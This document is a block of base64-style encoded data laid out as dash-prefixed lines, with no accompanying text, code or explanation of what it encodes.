- +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
- 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
- leQg/EdXv/r+f/B//N3/97/xx9Lgf9U//0v/93/6z6/+7//wV/5ff+U/+F/+N//hr/rV/+vf+gfSuve9
- /+uP+j2K//P1H/g//4+/+vf44/9vsnh/4K/+V3/pv/kP/uL//b/7F7cp+Pi//+5f+RfSEsUv/z3+ggf/
- 9//+f1NOjdb1/uJf8R/+sr/2//7jCf7/+eUf+Pf/39/61f/B3/h///r/x6/8v/+13//e//5n/l//x19I
- mZN//JdX/8fn/9ef/fv/j//Zn/l//ZH/9//57/4n/8H//Suq/+OrP/CX/43/2z/+f/8vf+H/8r3/82/5
- Axf/++/yL/6B/+yv/tf/wV/9L/4L//df9Af+X38jae0/7S/8P17/0j//9/8v/87/+97/9R//nfmv+E/+
- zv/9Xyex/N8+/r+2//m7/8f0//6L/8Ff/Wf+n3/OP/kPEtf8zn/g//kf/qf/5v/+2x796l/5F/zl/+Gv
- +m3/wf/zz/0//nDSAd//Y3//X/nx//XP/t+//OpXzf/3f5Wy2n/gr3zwf/2FR//3yS/9H6HcXtMg/uu/
- 9x/8D3+X//tX/4f/5z/6f/1Tv8f0f3n7z/3f/+Qf+D//geT//Ku/7e/xq37Do//73/y//+o/8L959H/+
- pf/Xv/kH/sdf/tL/9fP/4+/9B/+bj//v/+7f/wf/27/xf/un/9LP/+9f9n//X3/i//nsH/wv/8L/5U/8
- P37HP/D/+A9+///7V/4ff88/+E/+g//rxf/57O4/+Csv/s/j//u/+d/+xf/zb/79/+/f4y/4Pw7/73/u
- 9/jl/9Pv8n/e/7/+9V/x5//fv+i/fPB//pt/4f/9N/+B//s/+A/+rf/nP/h/Lf773/9X3/u//5Hf5X/9
- K/+7/+un/tv/8D+7IjvzX/3q//tfoyVhWgv6X3/Lf/C//5KM1S/+Zd/7v3/bP/CXVf/b7/Ez/xct6P4e
- 6a/+435yh2Lx//b3/9/+jer/+Gv/wV/91/4Z//ev/P1/2W/6f/7Hf+rv8h/+73d/6X/8v/6Dv+IuZV+n
- v+xv/D/+ub/w/6S01T/4Z/0bf8zv8n/9M//hL/v9/89/n6Tgf/wD/+9f/A/86v/w//51/9Tf45f9H3/s
- P/g//R+/x+/y7/+qv/AP/GdpEen//iP/7z/4n/0D/+9/8f/+B/8Hirj+4f+b0u+/5e/xf138H7/9//0/
- /4f/27/4+Ff/H/A3/tj/cP6//LH/19/2B/7P1Z/1f7/+v/8jCpv+7z/m4v/+P/5A8gn/yP+bNOeDf+H/
- +r/+w//qD/zB//wnLv/vP/fv/Qd/VUXjJUvzB/7H/+0/WJOj8jv/X388ZV//r7/39/+//vJ/8N/8v/+n
- f/YvoFzVr7z7v/+O/xclM37l//HZ//V//an/+L//H/5f//vf+av+2F/5CyjX8at+W0pC0FLfP0JJ3v/j
- j/y//4Q/8L/7e38P0mb/xX/4P179qv/g76VI//P/+5dQemP9K//D/+3t//WX/IP/ze//v/3a/9e/9nv8
- 4Hr9f33v//jz/+//6Hd5+H8eXv7f/9r//Z//jf/3X/gXLMkr/J+r//WfJAH/d0nP3P2/KDL9nS9/6f/9
- H/6vH/9ff8b//Zf9X1/9mb/HX0Dprx/8X3/mH/h//5v/15//p/6H/+mX/9v/9g/+kl/23/7zFP2SzfgT
- /+8/jSThV/7SP/8//BW/6f/23/2Jv+qP/Vf+Q3IOvvy///N/8D+7+6tO/sD/7g/8v3/T/+uv+/3/5//x
- D/w/fo+/7B/8FX/j//73/gmU0P+vfpf/83/7t//Wf5Bcmt/06P/8G//vv+7//u/+5d+fMvUn//f//CfS
- Gsi//ot+dfX3/cz/9pv+3//hd//a//s//Rv/r//jX/zfT/9Dct7/kP/wv7n7q7d/6X/4n//nf+Gv/td/
- /3erf/tn/tvv/h9/5f/9j/zX/+P/+eX/Rc5z9X//if/3f3Lxu/yD/9fvXv3ff/fv8Rf93f/b2z/w76TF
- yF/xK//A/+73+FXf/3P/zr/wz/+//95/8N+sftm9f/CX/6W/x//9b/7iX139X3/hH/ir/sP/4z/8P/7+
- f/A//l1+9X/5f/4l//f/8j/9g//X//Z//++/9R/4n/yPv/o3/T+/+3//t//3L//88b/1C/7Pv/JX/S6/
- 8l//A3/5H/kf/vO/9E/8B//zf/Vf/KX/7R/4X//K/w0B9H/xD/7fX1FS6Jf/nf/n53/gf1r97b/d//0H
- /4H/491f/S/+0r/zc8pl/69/Ia0v/jf/+l/4q//F/+PRn/mf/9//x1/7r/6H//v/+H989//6O7GwSn70
- //0f/Yu/+q//O/7v/+R//D//+H/w3/8X/4+//f+m5O1/SRr1P/tXf4/iv7z4v/4+ikkp9ft//e1/4D/y
- F/7vaP4r/9c/9z/8j/7FP4vS6P9i9at+w//rz/xdfrd/8B8nc/h//eH/9l/4q//b3+WP+wf/j3/zV/5f
- /8m/+Ev/3P+QXOFf+a/+Hv/j//ir/o8/8//4xf/sH/kH/l+f/4P/+j/4q35LWpv7X//c//PRP/ivU8Ll
- z/w/rv/Af7v6v3/Dv/Y//1X/zV/5S//a3+OX//rk4P6yP3D8f//5/yHxzS/+v/6qL8mO/plk8/+H//Hh
- //0P/t//2e9Pa0Z/4S/9P/5BmvE/gSb8//o/KTr8P/7E/+3P/79/2X/4n/6L//vv/H/9jf/hf/Zvvvv7
- f/Xv+D/+H3/0n/h//xEXpGh+9b/7f+b/4P/4+/+qQwqO/6u/8387/U3/r3/lP/yfv/t//Jf/9z/zf//S
- X/Ef/pL/9c/8Xb7/f/8zlBP+C//nu//Xb/sP/g//w2/6f/2bv8cv/9/+zv/rT/8b/69f9t/9hb/k7/zV
- F//Xj/2D/1n1f/+F//e/+vv/l78HrdX+Kf/hf/UlpZf+mP/7V/2N/9v0z/kD/89/sPi///L/8f/+xylp
- 9L/8h//nd//x3+NXv/37/vff9rf5B9tf/Qf+fd/5v/8IWp/4H/+P/+3u//Y7Utbwf/kz/4//6K/8PQ7/
- 91/9F/zfP/Yf/qo/9uoP/Fv/wP/odyEX6g/+D//r3+X/+Fd/6a/8A3/Zg9//v/hN/6//+g/8lb///139
- 3//j7/F//Tcf/4H/80/8qr/3/9il3O3/8X3y0/7rP/BX/Ru/x68mapIZ/d//zp/5lb/L//nZP/C//coX
- /9cf9/v/L3/v//VP/9//Ja1A/InVL/0v/8H/+nf5v+/937/i4v/+D/7HX/F7/d//wf/9v/6Hv+SX/+N/
- I83/3/4P/n3/1+/xf/3Df+nHh//gf/rHQp38tf/X3/SvX/1f/xmlHP/BX/67/J8nf+A/8RfW//u/+H//
- FX/gf373//o7/+8/lxiUgtR/9//+U6o//R/8lX/mP0gD/nP/r7/g//7f/sf/4H//43/p//wP/srf4//8
- e/7v//Xur/q1/68/8u4f+N/9pv/Hvf/7r/gLf0A66ff7vykl+Cv/7//gn/0H/7s/kKLPf+cf/J/+zl/1
- +//S/4IWdP/vv+5/+TvJJdv6v/+s//tX/4nX//vVv/h//5+/x//yN/6qX/b7/we/+Ff/gb/0V/2L/1fz
- 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
- /+0//GUV5b//o63/+//6Z3+P/+XL/+s/+G/+TnLI/rbf4z+v/l1KVP/z/+Yf+F/+LhRx/tX/4H/77//f
- /9Xf+L+//r//mP/wl/3K/+Pv/aV/5NUf+Kv/6X+QPOo/+w/8Jf/nX/h//Im/x//85/5f/84/+I/+X//Z
- r/zVv/L/+lP+79X/+Uf+n//wX/h/LMj0/kpSmb/kD/xb/8H/6d/9v3/F3f/7P/yllPH/H/+3/5PCsV/1
- K/+vB7/03/6/iV3+hH/w3/gPv/9/rf/vX373//pn/4Ff8Vf+X3/L//1/ffwr/+9/7v/8L778mV/0P/6m
- FLH80qP/+2/8/X+b7/2N/8D/8eVv+l/8p//7r/w//vr/60/5C//3/+A//J/+k+qf/r/+j3/8//5fH/yS
- X/W7/A//wv/9H/2F/9uvPf6/f+Vf+Q/+i7/iP/yffuWf+A/8b3/l//VvE0n/z9/j//pr/u+/5n/71eRx
- /i//4P/9vf/rn6b44PD/+uQf/Ff//d/lV/+T/8H/8ef/g//X//2/Vv/HP/IP/uq7/9bZ//XP/R7/6b/5
- f/0b/+7v/7//kf/nH/N7/K9/4//55f/9v/z+/+2v/N//8H/7P/5d/vd/8ff73X+P//O//OOPfvX/9m++
- ++V/Jvnc/+3/+p/8g//3f/d7/G/fIy3xn/6K3+Vv/d//8d////yHaan1V/y741/6n/7f/8e/eV3/L38g
- BaL/wpf/9+IP/Ed+l1/+5/7ff8P//e/84//h//7H/l//8h/4n/6Tv/QvJZf8n/ylf+t/uP6V3/0z/8F/
- 4vf/3z/+43/pH/rf/Nd3/7dfQQHPf/bln/V/nP2Bv/Jv/J//hweE8X/2B/6y//33/9V/5i/9n//D/+vt
- z/wf/+D/Mf4D/53/8H/+z//l3+PR//lb/oF/7D/4yx/86v/k9/i9/sP/8xf/LpRg/D/JNa7+zz/xl/6N
- f+Av/b9+///rtyff9+/8v/+d//t/+gNJNf0Zf+D//G/+qs/+r7/hy//7L/1rsVz15/8F/+dv+n//E3/j
- //zvUubr//o9yNP85/7CX/Ef/YN/3f/97/yF//tfTpHcL/s9/q//+v/+n3//X/57/JL/4+/8P//ef/Df
- +Af/p3+QlmD/yz/wV/2Fv5rikP/4L/xV1ed3aT37f/4j/88XvylN/n/6+/9vv+3//b9SrvT/+E//wfL/
- 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
- /t/8gf/Hx6REzt/+n3/u//W3/9//0F/4f/wXv/+v/vJv+B/+jz/jH/wX/o3f43/71f8cTdH//h9+9n9P
- /+8/7T/8P38PiiUoOvr8l/75f+B/9av+0v/7b/0//9X/66/8Gymt+L/+SjLnf/R/+L9++X+/+5//3P/z
- F/zf/zGt8//+/8fb//vf/APf/qqL/+uf+b//q9////4N/4w/8D+mhP7v8Qf+x7/L/3zxS3/Fg//rPk3N
- L/v9P/u//8P/+++5IHfxl/6d/+F/8we+o7TaL/gP/+/t//H//vv/wf/592/+9v/tP7g6+j8f/IH/4O//
- f1+R8/CPUiLm//pz/u9f+r//maQ1/of//e6v+kf/wV/x9mf+77/wV32OGf63/8L/+/P/47M/8w/8F36P
- X/b2//4t/+//43/80/7vP+ZX/Y3/1/9w9//Mfw8yt7/8d3n0q//2f/c//O//zf/z1/8f/o9//Peg/Ojf
- 8q9//Af+sv/w/3j7f/yHFS3q/h9/48/8H9X/8VP/96/6/Sl9/RUFbv/Tf/6f/If/J31z9//4JeQNEbf/
- gf/q7/H2f/mVv+Dve/R//fX/95/2D/7vf+H//lv+A7/s7v/16A+k1en/9lf+329/k//rf774/Pf4305+
- 6d//H/5nf+P/+Tf+X//Cf/gr/sXH/9v2n/DH/IP/+3f/j/+LltLf/c9/7H/4S/+Pv5aUyX/68S/9FTTn
- /8eP/9+/5Fcf/oG//PDP/Af/s+/+3y/+wF/+e/yyf/D/+vKf/h//t+/+H//hP/iP/v6//PqX/bv/95/8
- e/zPn/+bf+B/dff//Oz//rv/w//ywf/1r/6DlBD5F2n96lf/2r/0r6RMz6/+G/9AiiV/8f/5T/zf/95v
- +kv/3N+DTNy/+3/9+//3/0Jc/6f+gf/jP/i//mIKOf6JXwUMxn/g+n/9L//vX/77/4H/ZfV//bI/8N/8
- /f+vv/Zf/Av/wF/92/6fv/b//b/OPqHU6V/9f/93v/JX/7d/4H//B/6qq1/1t/9f//Tv/8v+x1/1i//Z
- //BXPfhVn/xf/9uDX00v/5P/9+/ym/5ff/7/+Lv9g7/iD/zf/sn/gzLr//hf+X//s3/h7/t//z3V//2H
- /of/9f/4q9Z/x+//f/4n//f/8V//Lr/y4//zS7JFv+zL/+OKlgj+r//19/gf//d/8P/8bf+vv+Y/+Q//
- 7z/+H/jVv9f//Zf/g//bd/9PWp9r/u+/4R/8z36Pw//jn6V1JEoc/g+/y+r//Pxv+L/+2v/wP/v9/x6i
- TfUH/urfv/kff5f/8z/5bf++//2//Fd+j//jz/zy//5r/28aB/Hkb/jx7/F//pn/57//f/+K3//3+z9/
- 0z/wf//9/+dfTY7Hr/4Lf/nV43+bcu6//A/8Lx6QLvjHfo9f+Xf+Hyf/wb/3q3//P+Xfr/7vf/g//4f/
- 7//93/2lv+LP/D/+8X/wX/wL/7fq7/8//sHf5f/6y//Af/JP/T0++tW/F62Y/l+/8v/81//Bf/7ur/oj
- /4f/85f8gf/k//r7/5+/+P/6G/7Df+BX/uL/+5/57//XP/D/+E3/73/rP/yfaVHg//5Hf/9f8U9STuM/
- /pV/4c/8ircU1NAa3L//6/+B/+0fSKuCf/zf+h/+F3/nr/6df+k/+h/+X3/h//X7U8ry//iNz//F/+sv
- //IP/Av/0T/x//6jfv//7VeTrfif/sPX/9d/ffh//7K7f9//tf6l/+WvD2fiF//fX/zi//sf+l1oSevj
- //tf+ht/b4q1/6G/9x/8X//t//sX/e9/5s/86n+Z8qJ/IIX8v5Li6OxXv/0//nBak//V/+3//dn//V//
- p3/gL/8PH/9v/8fv8f3/6+wP/F8//wP/yz///yZn4u7/9fdWZJd+///xX/zf/lOi0NHf88ve/tL/+//4
- Pf6F/+vP+gf/23/xf/vjf+n/8pf+gf/rb/q//5v/7X/4X/2H/8d/+gf+9b/8wf99+B9S1P4T/+Cv+nP/
- wP/t//q//6e////+63/V4k/4pZP/9Z+lhYlf+Zf+J/8+Wej/45f93//zH0hq6+gf/D+uyKv/T3//X/Hr
- /x9f/o+/9L/9Q//r/+Qf/D+nf+B/+qv/73+D1AMtxP7PfyuFzP/H//Kf/Mo/kFY3sj/1V/3r/yAtAv8+
- v///9Tv/rb9H/r+//Zn/8m8kyv+jv8ev+iP/7z/+1yft+n/9lf/Xn/rbUo77f/1v/+9/gqbqf/od/+8/
- 4x/8Vf8HLR9f/F9/8v/9X/6B//f/+Lv8X3/7Ia0f/B7/4a/6W//vf/Ef/K/+3f/7v/hD/+//+vc/+AP/
